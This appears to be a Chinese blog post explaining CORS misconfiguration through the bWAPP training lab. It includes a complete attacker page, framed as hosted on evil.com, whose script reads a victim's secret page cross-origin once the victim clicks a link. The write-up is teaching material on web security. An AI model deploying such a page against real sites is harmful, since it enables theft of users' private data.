关于那些web漏洞--cors_残月01的博客-爱代码爱编程
CORS
CORS(Cross-origin resource sharing),又称跨域资源共享。CORS的内容不叙述,可以阅读MDN文档。或者,阅读这篇文章:跨域资源共享 CORS 详解,同时还需要了解同源策略。CORS是一种实现ajax跨域加载资源的机制,如果CORS配置不当,就可能出现安全问题。是否存在安全问题,需要关注的响应头是:Access-Control-Allow-Origin,它确定了可以访问页面的来源。
BWAPP的CORS测试
low级别
1、主页面,点击 secret 跳转页面。
2、假设这是用户的页面,攻击者的目的是盗取里面的sercet内容。查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin头可以看出服务器配置了CORS," * "表示所有的源服务器都可以加载这个页面上的资源。既然如此,攻击者直接发送一个自己构造的页面链接(也许攻击者自己站点的一个页面)给用户,用户点击后,攻击页面使用ajax就可以直接读取另一个网站的敏感信息。
3、攻击页面:http://www.evil.com/test.html
<!DOCTYPE html>
<html lang="en">
<head></head>
<body>
<script>
window.onload = function(){
var xhr =new XMLHttpRequest(); // 创建AJAX的对象
// 设置使用的请求方式
xhr.open('get','http://192.168.253.132/bwapp/bwapp/secret-cors-1.php' ,true);
xhr.send(); // 发送请求
xhr.onreadystatechange=function(){
if(xhr.readyState === 4 ){ // 状态 4 表示服务器已响应
// 判断正常的响应结果的状态码
if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
console.log(xhr.responseText); // 获取响应体内容
}else{
console.log('0');
}
}
}
}
</script>
</body>
</html>
4、用户点击这个链接,加载test.html页面,里面的js代码就会执行,然后向目标页面(要盗取数据的页面)发送请求,处理响应结果。可以看到,控制台输出的信息就是另一个网站的页面信息。这就说明了攻击者能窃取数据。